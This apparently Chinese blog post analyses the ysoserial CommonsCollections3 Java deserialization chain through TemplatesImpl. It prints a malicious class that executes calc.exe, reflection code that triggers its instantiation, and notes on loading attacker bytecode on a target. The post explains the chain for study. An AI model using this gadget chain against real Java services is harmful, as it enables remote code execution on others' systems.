ysoserial commonscollections3 分析

cc3利用链如下:
TrAXFilter(Templates templates)TemplatesImpl->newTransformer()TemplatesImpl->getTransletInstance()_class[_transletIndex].newInstance();一、为构造的恶意字节码文件找一个newInstance启动入口
在TemplatesImpl类中的getTransletInstance方法,对 _class[_transletIndex]实现了newInstance() 。
所以如果构造一个恶意类 , 然后通过类加载器加载,最终通过TemplatesImpl实现这个类的实例化,将实现这个恶意类的初始化执行 。
假设将恶意代码写入这个类的静态代码块中,在这个类被实例化的时候得到执行,以Runtime为例 。
构造恶意类:
public class Runtimecalc {{Runtime runtime = Runtime.getRuntime();try {runtime.exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}}又由于TemplatesImpl类中,getTransletInstance方法属于私有方法,所以需要依赖另一个方法 。其中该类的newTransformer()调用了getTransletInstance(),该方法public作用域,可以被外部调用执行 。
public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}通过反射给_class和_transletIndex赋值 。但是在赋值之前 , 我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;,要求不能为空才可以继续执行后面代码 , 所以还需要通过反射给_name赋值 。
另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();
加载的字节码类需要继承AbstractTranslet
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}那么假设我们通过反射,直接为_class赋值为一个恶意字节码文件的文件路径 。
然后通过调newTransformer方法实现,就能得到字节码文件的初始化执行 。
TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");Field aClass = templates_cl.getDeclaredField("_class");aClass.setAccessible(true);aClass.set(templates,new Class[]{Runtimecalc.class});Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);templates.newTransformer();二、字节码文件路径是无法在目标机器得到执行的,所以需要找到其他方法将字节码内容直接赋值序列化
Runtimecalc.class作为类文件赋值,是无法实现序列化的时候将文件内容直接传入的,这里赋值的只是文件路径 。
所以序列化和反序列化是不成功的 。
我们知道ClassLoader在加载的类的时候 , 最终是通过defineClass加载字节码文件内容 。
利用这种方式,直接的赋值传参内容是字节码,就可以达到恶意类加载的序列化和反序列化 。
Templateslmpl类中getTransletInstance方法中,在_class[_transletIndex].newInstance()执行前,还有一段如下代码
【ysoserial commonscollections3 分析】if (_class == null) defineTransletClasses()假设我们之前不对_class赋值 , 查看defineTransletClasses做了什么 。
private void defineTransletClasses()throws TransformerConfigurationException {//需要给_bytecodes赋值if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;//为_class赋值 , 长度为_bytecodes的长度_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {//_bytecodes[0]赋值为字节码内容赋值给_class[0]_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}}}

推荐阅读